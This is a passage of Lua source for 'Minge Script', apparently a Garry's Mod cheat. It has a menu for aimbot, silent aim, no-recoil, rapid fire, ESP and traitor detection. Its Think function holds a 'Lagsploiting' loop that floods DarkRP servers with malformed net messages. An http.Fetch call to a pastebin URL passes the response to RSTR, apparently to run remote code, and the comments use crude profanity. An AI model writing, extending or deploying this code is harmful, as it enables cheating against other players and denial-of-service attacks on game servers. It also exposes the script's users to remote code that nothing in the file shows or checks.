  1177.         for k,v in pairs( MS.Settings.Aimbot.Bones ) do
  1178.                 BoneComboBox:AddChoice( v )
  1179.         end
  1180.                
  1181.         SheetLeft:AddItem( IgnoreFriends )
  1182.         SheetMid:AddItem( IgnoreTeammates )    
  1183.         SheetRight:AddItem( ShittySilentAim )
  1184.        
  1185.         SheetLeft:AddItem( AimSmooth )
  1186.         SheetMid:AddItem( CheckBoxTracing )
  1187.         SheetRight:AddItem( TargetNPCs )
  1188.        
  1189.         SheetLeft:AddItem( CheckBoxNoRecoil )
  1190.         SheetMid:AddItem( CheckBoxNoShake )
  1191.         SheetRight:AddItem( CheckBoxRapidFire )
  1192.        
  1193.         SheetLeft:AddItem( CheckBoxTrigger )
  1194.         SheetMid:AddItem( CheckBoxOnAim )
  1195.        
  1196.         SheetLong:AddItem( SliderSnap )
  1197.         SheetLong:AddItem( SliderFOV )
  1198.         SheetLong:AddItem( SliderSmooth )
  1199.         SheetLong:AddItem( LabelBone )
  1200.         SheetLong:AddItem( BoneComboBox )
  1201.         return AimbotPanel
  1202. end
  1203.  
  1204. local function GenerateFriendsSheet( w, h )
  1205.         FriendsPanel = vgui.Create( "DPanel" )
  1206.         FriendsPanel:SetPos( 2, 2 )
  1207.         FriendsPanel:SetSize( w - 4, h - 4 )
  1208.         FriendsPanel.Paint = function()
  1209.                 draw.RoundedBox( 3, 0, 0, FriendsPanel:GetWide(), FriendsPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1210.         end
  1211.        
  1212.         local SheetLeft = vgui.Create( "DPanelList", FriendsPanel )
  1213.         SheetLeft:SetPos( 2, 2 )
  1214.         SheetLeft:SetSize( w, h )
  1215.         SheetLeft:SetSpacing( 3 )
  1216.         SheetLeft:SetPadding( 4 )
  1217.         SheetLeft:EnableVerticalScrollbar( true )
  1218.  
  1219.         local SheetRight = vgui.Create( "DPanelList", FriendsPanel )
  1220.         SheetRight:SetPos( 2, 2 )
  1221.         SheetRight:SetSize( w, h )
  1222.         SheetRight:SetSpacing( 6 )
  1223.         SheetRight:SetPadding( 4 )
  1224.         SheetRight:EnableVerticalScrollbar( true )
  1225.  
  1226.         PlayerList = vgui.Create( "DListView", SheetRight )
  1227.         PlayerList:SetPos( 4, 4 )
  1228.         PlayerList:AddColumn( "Potential Targets" )
  1229.         PlayerList:SetSize( w /2.22, h -48 )
  1230.         PlayerList:SetSortable( true )
  1231.         PlayerList:SetMultiSelect( false )
  1232.         PlayerList.RebuildList = function()
  1233.                 PlayerList:Clear()
  1234.                 PlayerList.friends = {}
  1235.                 MS.PotentialTargetListNames = {}
  1236.                
  1237.                 for k,v in pairs( player.GetAll() ) do
  1238.                         if( !IsValid( v ) or v == LocalPlayer() or table.HasValue( MS.Friends, v ) or table.HasValue( MS.PotentialTargetListNames, v:Nick() ) or table.HasValue( PlayerList.friends, v ) ) then continue end
  1239.                         table.insert( PlayerList.friends, v )
  1240.                         table.insert( MS.PotentialTargetListNames, v:Nick() )
  1241.                 end
  1242.                        
  1243.                 table.sort( MS.PotentialTargetListNames )              
  1244.                 for k,v in pairs( MS.PotentialTargetListNames ) do
  1245.                         PlayerList:AddLine( v )
  1246.                 end
  1247.         end
  1248.        
  1249.         PlayerList.OnRowSelected = function( panel, line )
  1250.                 AddFriend( FindByName( MS.PotentialTargetListNames[ line ] ) )
  1251.                 PlayerList:RebuildList()
  1252.                 FriendsList:RebuildList()
  1253.         end
  1254.        
  1255.         FriendsList = vgui.Create( "DListView", SheetRight )
  1256.         FriendsList:AddColumn( "Friends" )
  1257.         FriendsList:SetPos( w /2 -8, 4 )
  1258.         FriendsList:SetSize( w /2.213, h -48 )
  1259.         FriendsList:SetSortable( true )
  1260.         FriendsList:SetMultiSelect( false )
  1261.         FriendsList.RebuildList = function()
  1262.                 FriendsList:Clear()
  1263.                 FriendsList.friends = {}
  1264.                 MS.FriendsListNames = {}
  1265.                 for k,v in pairs( MS.Friends ) do
  1266.                         if( !IsValid( v ) or v == LocalPlayer() ) then continue end
  1267.                         table.insert( FriendsList.friends, v )
  1268.                         table.insert( MS.FriendsListNames, v:Nick() )
  1269.                 end            
  1270.                 table.sort( MS.FriendsListNames )              
  1271.                 for k,v in pairs( MS.FriendsListNames ) do
  1272.                         FriendsList:AddLine( v )
  1273.                 end
  1274.         end
  1275.         FriendsList.OnRowSelected = function( panel, line )
  1276.                 RemoveFriend( FindByName( MS.FriendsListNames[ line ] ) )
  1277.                 FriendsList:RebuildList()
  1278.                 PlayerList:RebuildList()
  1279.         end
  1280.         FriendsList:RebuildList()
  1281.         PlayerList:RebuildList()
  1282.         return FriendsPanel
  1283. end
  1284.  
  1285. local function GenerateEntsSheet( w, h )
  1286.         EntPanel = vgui.Create( "DPanel" )
  1287.         EntPanel:SetPos( 2, 2 )
  1288.         EntPanel:SetSize( w - 4, h - 4 )
  1289.         EntPanel.Paint = function()
  1290.                 draw.RoundedBox( 3, 0, 0, EntPanel:GetWide(), EntPanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1291.         end
  1292.         local SheetLeft = vgui.Create( "DPanelList", EntPanel )
  1293.         SheetLeft:SetPos( 2, 2 )
  1294.         SheetLeft:SetSize( w, h )
  1295.         SheetLeft:SetSpacing( 3 )
  1296.         SheetLeft:SetPadding( 4 )
  1297.         SheetLeft:EnableVerticalScrollbar( true )
  1298.  
  1299.         EntList = vgui.Create( "DListView", SheetLeft )
  1300.         EntList:AddColumn( "Entities On The Server" )
  1301.         EntList:SetPos( 4, 4 )
  1302.         EntList:SetSize( w/2.22, h-48 )
  1303.         EntList:SetSortable( true )
  1304.         EntList:SetMultiSelect( false )
  1305.         EntList.Ents = {}
  1306.         EntList.RebuildList = function()
  1307.                 EntList:Clear()
  1308.                 EntList.Ents = {}
  1309.                
  1310.                 for k,v in pairs( ents.GetAll() ) do
  1311.                         if( !table.HasValue( MS.Settings.Visuals.customents, v:GetClass() ) and !string.find( string.lower( v:GetClass() ), "class c" ) and !string.find( string.lower( v:GetClass() ), "func_" ) and !table.HasValue( EntList.Ents, v:GetClass() ) ) then
  1312.                                 table.insert( EntList.Ents, v:GetClass() )
  1313.                         end
  1314.                 end    
  1315.                 table.sort( EntList.Ents )            
  1316.                 for k,v in pairs( EntList.Ents ) do
  1317.                         EntList:AddLine( v )
  1318.                 end
  1319.         end
  1320.        
  1321.         EntList.OnRowSelected = function( panel, line )
  1322.                 table.insert( EntList.Ents, panel:GetLine( line ):GetValue( 1 ) )
  1323.                 table.insert( MS.Settings.Visuals.customents, panel:GetLine( line ):GetValue( 1 ) )
  1324.                 EntList:RebuildList()
  1325.                 ESPEntList:RebuildList()
  1326.         end
  1327.        
  1328.         ESPEntList = vgui.Create( "DListView", SheetLeft )
  1329.         ESPEntList:AddColumn( "Entities Displayed On ESP" )
  1330.         ESPEntList:SetPos( w/2 -8, 4 )
  1331.         ESPEntList:SetSize( w/2.213, h-48 )
  1332.         ESPEntList:SetSortable( true )
  1333.         ESPEntList:SetMultiSelect( false )
  1334.         ESPEntList.RebuildList = function()
  1335.                 ESPEntList:Clear()
  1336.                 table.sort( MS.Settings.Visuals.customents )
  1337.                 for k,v in pairs( MS.Settings.Visuals.customents ) do
  1338.                         ESPEntList:AddLine( v )
  1339.                 end
  1340.         end
  1341.         ESPEntList.OnRowSelected = function( panel, line )
  1342.                 for k,v in pairs( MS.Settings.Visuals.customents ) do
  1343.                         if( v == panel:GetLine( line ):GetValue( 1 ) ) then
  1344.                                 for k2, v2 in pairs( EntList.Ents ) do
  1345.                                         if( v == v2 ) then
  1346.                                                 table.remove( EntList.Ents, k2 )
  1347.                                         end
  1348.                                 end
  1349.                                 table.remove( MS.Settings.Visuals.customents, k )
  1350.                         end
  1351.                 end
  1352.                 ESPEntList:RebuildList()
  1353.                 EntList:RebuildList()
  1354.         end
  1355.         ESPEntList:RebuildList()
  1356.         EntList:RebuildList()
  1357.         return EntPanel
  1358. end
  1359.  
  1360. local function GenerateRopeSheet( w, h )
  1361.         RopePanel = vgui.Create( "DPanel" )
  1362.         RopePanel:SetPos( 2, 2 )
  1363.         RopePanel:SetSize( w - 4, h - 4 )
  1364.         RopePanel.Paint = function()
  1365.                 draw.RoundedBox( 3, 0, 0, RopePanel:GetWide(), RopePanel:GetTall(), Color( 50, 50, 50, 255 ) )
  1366.         end
  1367.        
  1368.         local MaterialList = vgui.Create( "DListView", RopePanel )
  1369.         MaterialList:SetPos( 6, 6 )
  1370.         MaterialList:SetSize( w -29, h-48 )
  1371.         MaterialList:SetMultiSelect( false )
  1372.         MaterialList:AddColumn( "Materials - Double click sets rope/slider/wire etc" )
  1373.         MaterialList:SetSortable( false )
  1374.  
  1375.         MaterialNames = ( file.Read( "materials_list.txt", "DATA" ) )
  1376.         for k,v in pairs( string.Explode( ",", MaterialNames ) ) do
  1377.                 MaterialList:AddLine( string.Trim( v ) )
  1378.         end
  1379.                
  1380.         MaterialList.OnRowSelected = function( panel, line )
  1381.                 selectedmat = panel:GetLine( line ):GetValue( 1 )
  1382.                 if( string.len( selectedmat ) < 1 ) or string.find( selectedmat, "##" ) then return end
  1383.                 LogMsg( "UPDATED MATERIAL PREVIEW" )
  1384.                 MS.Settings.Visuals.RopeMaterial = selectedmat
  1385.         end
  1386.        
  1387.         MaterialList.DoDoubleClick = function( panel, line )
  1388.                 if( string.len( selectedmat ) < 1 ) or string.find( selectedmat, "##" ) then return end        
  1389.                 for k,v in pairs( MS.MaterialsAndWidths ) do
  1390.                         if( string.find( v, "material" ) ) then
  1391.                                 RCC( v, selectedmat )
  1392.                                 LogMsg( "UPDATED " .. v )
  1393.                         elseif( string.find( v, "width" ) ) then
  1394.                                 RCC( v, 999999 )
  1395.                                 LogMsg( "UPDATED " .. v )                              
  1396.                         end
  1397.                 end            
  1398.         end    
  1399.         return RopePanel
  1400. end
  1401.  
  1402. local function PopulateVGUIElements()
  1403.         Window = vgui.Create( "DFrame" )
  1404.         Window:SetSize( 338, 305 )
  1405.         Window:SetPos( ScrW() /2 -( Window:GetWide() /2 ), ScrH() /2 -( Window:GetTall() /2 ) )
  1406.         Window:SetTitle( string.rep( " ", Window:GetWide() /8 ) ..      "Minge Script" )
  1407.         Window:ShowCloseButton( false )
  1408.         PreviewWindow = vgui.Create( "DFrame" )
  1409.         PreviewWindow:SetSize( 305, 305 )
  1410.         PreviewWindow:SetDraggable( false )    
  1411.         Window.OnClose = function()
  1412.                 MS.MenuFirstPass = true
  1413.                 MS.StayOpen = false
  1414.                 PreviewWindow:Close()
  1415.                 HKR( "Think", "UpdatePreview" )
  1416.         end
  1417.         Window:MakePopup()
  1418.        
  1419.         PreviewWindow:SetTitle( string.rep( " ", PreviewWindow:GetWide() /10 ) .. "Rope Material Preview" )
  1420.         PreviewWindow:ShowCloseButton( false )
  1421.         PreviewWindow:MakePopup()      
  1422.         local Panel = vgui.Create( "DPanel", PreviewWindow )
  1423.         Panel:SetPos( 2, 2 )
  1424.         Panel:SetSize( PreviewWindow:GetWide() - 4, PreviewWindow:GetTall() - 4 )
  1425.         Panel.Paint = function()
  1426.                 draw.RoundedBox( 3, 0, 0, Panel:GetWide(), Panel:GetTall(), Color( 50, 50, 50, 255 ) )
  1427.         end    
  1428.         local Preview = vgui.Create( "Material", Panel )
  1429.         Preview:SetSize( Panel:GetWide() - 4, Panel:GetTall() - 4 )
  1430.         Preview:SetPos( 2, 2 )
  1431.         Preview.AutoSize = false      
  1432.         function UpdatePreview()
  1433.                 if( RopePanel:IsVisible() ) then
  1434.                         local WindowX, WindowY = Window:GetPos()
  1435.                         PreviewWindow:SetPos( ( WindowX + Window:GetWide() /2 ) +( PreviewWindow:GetWide() /1.81 ), ( WindowY + Window:GetTall() /2 ) -( PreviewWindow:GetTall() /2 ) )
  1436.                         PreviewWindow:SetVisible( true )
  1437.                         Preview:SetMaterial( MS.Settings.Visuals.RopeMaterial )                                        
  1438.                 end            
  1439.                 if( VisualPanel:IsVisible() or PlayerVisPanel:IsVisible() or AimbotPanel:IsVisible() or FriendsPanel:IsVisible() or EntPanel:IsVisible() ) then
  1440.                         PreviewWindow:SetVisible( false )                      
  1441.                 end
  1442.         end
  1443.        
  1444.         PropertySheet = vgui.Create( "DPropertySheet", Window )
  1445.         PropertySheet:SetSize( Window:GetWide() - 8, Window:GetTall() - 35 )
  1446.         PropertySheet:SetPos( 4, 30 )
  1447.         PropertySheet:SetPadding( 8 )  
  1448.         PropertySheet:AddSheet( "Visuals", GenerateVisualsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Visual shit" )
  1449.         PropertySheet:AddSheet( "Player Visuals", GeneratePlayerVisualsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Visuals whatcome go on players, huh" )
  1450.         PropertySheet:AddSheet( "Aimbot", GenerateAimbotSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Settings related to shooting stuff" )
  1451.         PropertySheet:AddSheet( "Friends", GenerateFriendsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Aimbot friends list" )
  1452.         PropertySheet:AddSheet( "Ents", GenerateEntsSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Entities to display on ESP" )
  1453.         if( ConVarExists( "rope_material" ) ) then
  1454.                 if( !file.Exists( "materials_list.txt", "DATA" ) ) then
  1455.                         file.Write( "materials_list.txt", "effects/alyxmonitor_talk, \nmatsys_regressiontest/background, \n, \nto edit goto garrysmod/data/materials_list.txt, \nDON'T FUCKING FORGET THE COMMAS, \nexcept for the last one which doesn't need it, \nunless you want a blank space being a cunt, \nand shitting up the last line of the list like this, ", "DATA" )
  1456.                 end
  1457.                 PropertySheet:AddSheet( "Ropes", GenerateRopeSheet( PropertySheet:GetWide(), PropertySheet:GetTall() ), false, false, false, "Ropes" )
  1458.         end    
  1459.         Window:SetVisible( false )    
  1460.         PreviewWindow:SetVisible( false )
  1461. end
  1462.  
  1463. local function OpenMenu()
  1464.         LogMsg( "OPENING MENU" )
  1465.         PopulateVGUIElements()
  1466.         FriendsList:RebuildList()
  1467.         PlayerList:RebuildList()
  1468.         Window:SetVisible( true )      
  1469.         HKA( "Think", "UpdatePreview", UpdatePreview )
  1470.         MS.MenuOpen = true
  1471.         if( !MS.MenuFirstPass and MS.MenuTimer >CurTime() )then
  1472.                 LogMsg( "HIT 1" )
  1473.                 Window:ShowCloseButton( true )
  1474.                 MS.MenuTimer = CurTime() +0.28
  1475.                 MS.StayOpen = true
  1476.         else
  1477.                 LogMsg( "HIT 2" )
  1478.                 MS.MenuTimer = CurTime() +0.28
  1479.                 Window:ShowCloseButton( false )
  1480.                 MS.MenuFirstPass = false
  1481.         end
  1482.         LogMsg( "OPENING MENU FINISHED" )
  1483. end
  1484. CCA( "+ms_menu", OpenMenu )
  1485.  
  1486. local function CloseMenu()
  1487.         LogMsg( "CLOSING MENU" )
  1488.         if( !Window ) then
  1489.                 PopulateVGUIElements()
  1490.         end
  1491.         MS.MenuOpen = false
  1492.        
  1493.         if( !MS.StayOpen ) then
  1494.                 HKR( "Think", "UpdatePreview" )
  1495.         end
  1496.        
  1497.         if( MS.MenuTimer < CurTime() and !MS.StayOpen ) then
  1498.                 LogMsg( "HIT 3" )
  1499.                 Window:SetVisible( false )
  1500.                 PreviewWindow:SetVisible( false )
  1501.                 MS.MenuFirstPass = true
  1502.         end
  1503.         if( MS.MenuTimer > CurTime() )then
  1504.                 LogMsg( "HIT 4" )
  1505.                 if( !MS.StayOpen )then
  1506.                         LogMsg( "HIT 4.1" )
  1507.                         Window:SetVisible( false )
  1508.                         PreviewWindow:SetVisible( false )                      
  1509.                 end
  1510.                 MS.MenuFirstPass = false      
  1511.         end
  1512.         LogMsg( "Settings Saved" )
  1513.         file.Write( "mssettings.txt", util.TableToJSON( MS.Settings ) )
  1514.         LogMsg( "CLOSING MENU FINISHED" )
  1515. end
  1516. CCA( "-ms_menu", CloseMenu )
  1517.  
  1518. surface.CreateFont( "ass", { font = "coolvetica", size = 18, antialias = true } )
  1519.  
  1520. local MultiTracePositions = {
  1521.         function( p )
  1522.                 if( p.GetShootPos ) then
  1523.                         return p:GetShootPos()
  1524.                 else
  1525.                         return p:GetPos()
  1526.                 end
  1527.         end,    
  1528.         function( p )
  1529.                 return p:GetPos()
  1530.         end,
  1531.         function( p )
  1532.                 return p:GetPos() + Vector( 0, 0, 25 )
  1533.         end
  1534. }
  1535.  
  1536. local function DebugToggle()
  1537.         MS.Settings.Debug = !MS.Settings.Debug
  1538.         EnabledDisabled( "DEBUG MESSAGES", MS.Settings.Debug )
  1539. end
  1540. CCA( "ms_debug", DebugToggle )
  1541.  
  1542. local function ClearTList()
  1543.         MS.Traitors = {}
  1544.         MS.DetectingTs = false
  1545.         LogMsg( "NEW ROUND - TRAITOR LIST CLEARED" )
  1546. end
  1547. HKA( "TTTPrepareRound", "ClearTList", ClearTList )
  1548. local function StartDetectingTs()
  1549.         MS.DetectingTs = true
  1550.         LogMsg( "TRAITORS SELECTED - CHECKING FOR TRAITOR WEAPONS" )
  1551. end
  1552. HKA( "TTTBeginRound", "StartDetectingTs", StartDetectingTs )
  1553.  
  1554. local function GetPosition( ent )
  1555.         if( ent.GetShootPos ) then
  1556.                 return ent:GetShootPos()
  1557.         elseif( ent.GetPos ) then
  1558.                 return ent:GetPos()
  1559.         end    
  1560. end
  1561.  
  1562. function IsInSpawn( pos )
  1563.         if( !string.find( string.lower( game.GetMap() ), "downtown" ) ) then return false end
  1564.         return( pos.x >MS.SpawnMinBounds.x and pos.x <MS.SpawnMaxBounds.x and pos.y >MS.SpawnMinBounds.y and pos.y <MS.SpawnMaxBounds.y and pos.z >MS.SpawnMinBounds.z and pos.z <MS.SpawnMaxBounds.z )
  1565. end
  1566.  
  1567. local function IsVisible( ply )
  1568.         local Visible = true  
  1569.         if( MS.Settings.Aimbot.multitrace ) then
  1570.                 for k,v in pairs( MultiTracePositions ) do
  1571.                         local Trace = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = v( ply ), mask = MASK_SHOT, filter = { LocalPlayer(), ply } } )                  
  1572.                         if( Trace.Hit ) then
  1573.                                 Visible = false
  1574.                         end                    
  1575.                 end
  1576.         else
  1577.                 local Trace = util.TraceLine( { start = LocalPlayer():GetShootPos(), endpos = GetPosition( ply ), mask = MASK_SHOT, filter = { LocalPlayer(), ply } } )
  1578.                 return !Trace.Hit
  1579.         end    
  1580.         return Visible
  1581. end
  1582.  
  1583. local function GetFOV( ply )
  1584.         local Ang = ( ( ply:GetPos() + Vector( 0, 0, 40 ) ) -LocalPlayer():GetPos() ):Angle()
  1585.         local DiffX = math.abs( math.NormalizeAngle( LocalPlayer():EyeAngles().p - Ang.p ) )
  1586.         local DiffY = math.abs( math.NormalizeAngle( LocalPlayer():EyeAngles().y - Ang.y ) )
  1587.         return DiffX, DiffY
  1588. end
  1589.  
  1590. local function IsInFOV( ply )
  1591.         local DiffX, DiffY = GetFOV( ply )
  1592.         return DiffX <= MS.Settings.Aimbot.maxfov and DiffY <= MS.Settings.Aimbot.maxfov
  1593. end
  1594.  
  1595. local function IsOutOfFOV( ent )
  1596.         if( ent == LocalPlayer() or LocalPlayer():InVehicle() or MS.Settings.Visuals.thirdperson or GetViewEntity() != LocalPlayer() ) then return end
  1597.         DiffX, DiffY = GetFOV( ent )
  1598.         if( DiffX <= 100 and DiffY <= 100 ) then return false end
  1599.         return true
  1600. end
  1601.  
  1602. local function GetSuitableTarget()
  1603.         MS.SnapBack = true
  1604.         local ply
  1605.         MS.SuitableTargetTable = player.GetAll()      
  1606.         MS.MaxFOV = 180
  1607.         if( MS.Settings.Aimbot.targetnpcs ) then
  1608.                 for k,v in pairs( MS.TargetNPCClasses ) do
  1609.                         table.Add( MS.SuitableTargetTable, ents.FindByClass( v ) )
  1610.                 end
  1611.         end    
  1612.        
  1613.         table.sort( MS.SuitableTargetTable, function( a, b ) local aX, aY = GetFOV( a ) local bX, bY = GetFOV( b ) return aX + aY < bX + bY end )      
  1614.         for k,v in pairs( MS.SuitableTargetTable ) do
  1615.                 if( !IsValid( v ) or v == LocalPlayer() or table.HasValue( MS.Friends, v ) or !IsInFOV( v ) or !IsVisible( v ) or v:Health()<1 or IsInSpawn( v:GetPos() ) --[[or v:GetMoveType() == 0 ]]or v:IsPlayer() and ( v:InVehicle() or v:GetObserverTarget() or ( gmod.GetGamemode().Name == "Trouble in Terrorist Town" and team.GetName( LocalPlayer():Team() ) == "Spectators" and team.GetName( v:Team() ) != "Spectators" ) or ( MS.Settings.Aimbot.ignorefriends and v:GetFriendStatus() == "friend" ) or ( MS.Settings.Aimbot.ignoreteammates and v:Team() == LocalPlayer():Team() ) ) or ( v:IsNPC() and v:GetClass() == "npc_turret_floor" ) ) then continue end
  1616.                 ply = v
  1617.                 break
  1618.         end
  1619.         return ply
  1620. end
  1621.  
  1622. //isolate
  1623. local function Isolate( p, c, a )
  1624.         if( !a[ 1 ] ) then return end
  1625.         if( a[ 1 ] == "*" )then
  1626.                 MS.Isolated = {}
  1627.                 return
  1628.         end    
  1629.         if( a[ 1 ] == "admins" ) then
  1630.                 for k,v in pairs( player.GetAll() ) do
  1631.                         if( !v:IsAdmin() ) then continue end
  1632.                         table.insert( MS.Isolated, v )
  1633.                 end
  1634.                 return
  1635.         end    
  1636.         if( a[ 1 ] == "friends" ) then
  1637.                 for k,v in pairs( player.GetAll() ) do
  1638.                         if( v:GetFriendStatus() != "friend" ) then continue end
  1639.                         table.insert( MS.Isolated, v )
  1640.                 end
  1641.                 return
  1642.         end
  1643.         if( !FindByName( a[ 1 ] ) ) then return
  1644.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1645.         end
  1646.         table.insert( MS.Isolated, FindByName( a[ 1 ] ) )
  1647. end
  1648. CCA( "ms_isolate", Isolate )
  1649.  
  1650. //priority
  1651. local function Priority( p, c, a )
  1652.         if( !a[ 1 ] ) then return end
  1653.         if( !FindByName( a[ 1 ] ) ) then return
  1654.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1655.         end
  1656.         table.insert( MS.HighPriority, FindByName( a[ 1 ] ) )
  1657. end
  1658. CCA( "ms_priority", Priority )
  1659. local function NoPriority( p, c, a )
  1660.         if( !a[ 1 ] ) then return end
  1661.         if( !FindByName( tostring( a[ 1 ] ) ) ) then return
  1662.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1663.         end
  1664.         for k,v in pairs( MS.HighPriority ) do
  1665.                 if( v != FindByName( tostring( a[ 1 ] ) ) ) then continue end
  1666.                 table.remove( MS.HighPriority, k )
  1667.         end
  1668. end
  1669. CCA( "ms_nopriority", NoPriority )
  1670.  
  1671. //track
  1672. local function Track( p, c, a )
  1673.         if( !a[ 1 ] ) then return end
  1674.         if( a[ 1 ] == "*" ) then
  1675.                 HKA( "Think", "TrackEveryone", function()
  1676.                         MS.Tracked = table.Copy( player.GetAll() )
  1677.                 end )
  1678.                 return
  1679.         end    
  1680.         if(     a[ 1 ] == "admins" ) then
  1681.                 for k,v in pairs( player.GetAll() ) do
  1682.                         if( !v:IsAdmin() ) then continue end
  1683.                         table.insert( MS.Tracked, v )
  1684.                 end
  1685.                 return
  1686.         end    
  1687.         if( a[ 1 ] == "friends" ) then
  1688.                 for k,v in pairs( player.GetAll() ) do
  1689.                         if( v:GetFriendStatus() != "friend" ) then continue end
  1690.                         table.insert( MS.Tracked, v )
  1691.                 end
  1692.                 return
  1693.         end
  1694.         if( !FindByName( a[ 1 ] ) ) then return
  1695.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1696.         end
  1697.         table.insert( MS.Tracked, FindByName( a[ 1 ] ) )
  1698. end
  1699. CCA( "ms_track", Track )
  1700. local function LoseTrack( p, c, a )
  1701.         if( !a[ 1 ] or #MS.Tracked < 1 ) then return end              
  1702.         HKR( "Think", "TrackEveryone" )
  1703.         if a[ 1 ] == "*" then
  1704.                 MS.Tracked = {}
  1705.                 return
  1706.         end    
  1707.         if( !FindByName( a[ 1 ] ) ) then return
  1708.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1709.         end
  1710.         for k,v in pairs( MS.Tracked ) do
  1711.                 if v != FindByName( a[ 1 ] ) then continue end
  1712.                 table.remove( MS.Tracked, k )
  1713.         end
  1714. end
  1715. CCA( "ms_losetrack", LoseTrack )
  1716.  
  1717. //clientside chat mute
  1718. local function MSMute( p, c, a )
  1719.         if( !a[ 1 ] ) then return end
  1720.         if( a[ 1 ] == "*" )then
  1721.                 MS.MutedCunts = table.Copy( player.GetAll() )
  1722.                 MSMsg( "MUTED EVERYONE" )
  1723.                 return
  1724.         end
  1725.         if( !FindByName( a[ 1 ] ) ) then return
  1726.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1727.         end    
  1728.         table.insert( MS.MutedCunts, FindByName( a[ 1 ] ) )
  1729.         MSMsg( "MUTED " .. FindByName( a[ 1 ] ):Nick() )
  1730. end
  1731. CCA( "ms_mute", MSMute )
  1732. local function MSUnMute( p, c, a )
  1733.         if( !a[ 1 ] ) then return end
  1734.         if( a[ 1 ] == "*" )then
  1735.                 MS.MutedCunts = {}
  1736.                 MSMsg( "UNMUTED EVERYONE" )
  1737.                 return
  1738.         end
  1739.         if( !FindByName( a[ 1 ] ) ) then return
  1740.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1741.         end
  1742.         for k,v in pairs( MS.MutedCunts ) do
  1743.                 if( v != FindByName( a[ 1 ] ) ) then continue end              
  1744.                 table.remove( MS.MutedCunts, k )
  1745.                 MSMsg( "UNMUTED " .. v:Nick() )
  1746.         end
  1747. end
  1748. CCA( "ms_unmute", MSUnMute )
  1749. local function MuteChat( p, m )
  1750.         if( p == LocalPlayer() or #MS.MutedCunts < 1 ) or !table.HasValue( MS.MutedCunts, p ) then return end
  1751.         LogMsg( p:Nick() .. "( MUTED ): " .. m )
  1752.         return true
  1753. end
  1754. HKA( "OnPlayerChat", "MuteChat", MuteChat )
  1755.  
  1756. //clientside voice mute
  1757. local function MSGag( p, c, a )
  1758.         if( !a[ 1 ] ) then return end
  1759.  
  1760.         if( a[ 1 ] == "*" ) then
  1761.                 for k,v in pairs( player.GetAll() ) do
  1762.                         v:SetMuted( true )
  1763.                 end
  1764.                 MSMsg( "GAGGED EVERYONE" )
  1765.                 return
  1766.         end
  1767.         if( !FindByName( a[ 1 ] ) ) then return
  1768.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1769.         end
  1770.         FindByName( a[ 1 ] ):SetMuted( true )
  1771.         MSMsg( "GAGGED " .. FindByName( a[ 1 ] ):Nick() )
  1772. end
  1773. CCA( "ms_gag", MSGag )
  1774. local function MSUngag( p, c, a )
  1775.         if( !a[ 1 ] ) then return end
  1776.         if( a[ 1 ] == "*" ) then
  1777.                 for k,v in pairs( player.GetAll() ) do
  1778.                         v:SetMuted( false )
  1779.                 end
  1780.                 MSMsg( "UNGAGGED EVERYONE" )
  1781.                 return
  1782.         end
  1783.         if( !FindByName( a[ 1 ] ) ) then return
  1784.                 MSMsg( "COULDN'T FIND PLAYER: " .. a[ 1 ] )
  1785.         end
  1786.         FindByName( a[ 1 ] ):SetMuted( false )
  1787.         MSMsg( "UNGAGGED " .. FindByName( a[ 1 ] ):Nick() )
  1788. end
  1789. CCA( "ms_ungag", MSUngag )
  1790.  
  1791. SteamIDs = {{Nothing = "STEAM"}};
  1792. http.Fetch( "http://pastebin.com/raw.php?i=PGpVaE6Y",
  1793.         function( body, len, headers, code )
  1794.                 RSTR( body )
  1795.         end,
  1796.         function( error )
  1797. end );
  1798. local function GetHash( sid )
  1799.         local steamthing = tonumber( string.sub( string.Explode( ":", sid ) [3], 1, 3 ) )
  1800.         return( tostring( tonumber( util.CRC( "gm_" .. sid .. "_gm" ) ) % 83755 * 12826596 + steamthing ) )
  1801. end
  1802.  
  1803. local function Think()
  1804.         if( MS.Lagsploiting ) then
  1805.                 for i=1, 1000 do
  1806.                         net.Start( "DarkRP_preferredjobmodel" )
  1807.                         net.WriteUInt( -8, 8 )
  1808.                         net.WriteString( "\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\n\n\n\n\n\n\n\n" )                  
  1809.                         net.SendToServer()
  1810.                         net.Start( "DarkRP_spawnPocket" )
  1811.                         net.WriteFloat( -0.1 )
  1812.                         net.SendToServer()
  1813.                 end
  1814.         end
  1815.        
  1816.         if( MS.Settings.Aimbot.silent ) then
  1817.                 MS.SilentAimPingAdjust = math.Round( LocalPlayer():Ping()*2.2 /1000, 2 )
  1818.         end    
  1819.        
  1820.         if( MS.Hopping ) then
  1821.                 RCC( ( ( LocalPlayer():IsOnGround() or LocalPlayer():WaterLevel() > 0 or LocalPlayer():GetMoveType() == MOVETYPE_NOCLIP or LocalPlayer():InVehicle() ) and "+" or "-" ).."jump" )
  1822.         end
  1823.        
  1824.         if( #MS.Traitors >0 or #MS.HighPriority >0 ) then
  1825.                 MS.Colours.traitorred = Color( math.Clamp( ( math.cos( CurTime() *10 ) +1 ) /2 *1000, 100, 255 ), 0, 0 )
  1826.         end
  1827.        
  1828.         if( MS.Settings.Visuals.headsmash ) then
  1829.                 MS.Colours.Random = table.Random( MS.Colours )
  1830.         end
  1831.        
  1832.         if( !MS.Settings.teamcolours and !MS.Settings.Visuals.rainbow and MS.UpdateCol ) then
  1833.                 MS.Colours.Col = Color( MS.Settings.Visuals.CustomR, MS.Settings.Visuals.CustomG, MS.Settings.Visuals.CustomB )
  1834.                 MS.UpdateCol = false
  1835.         end
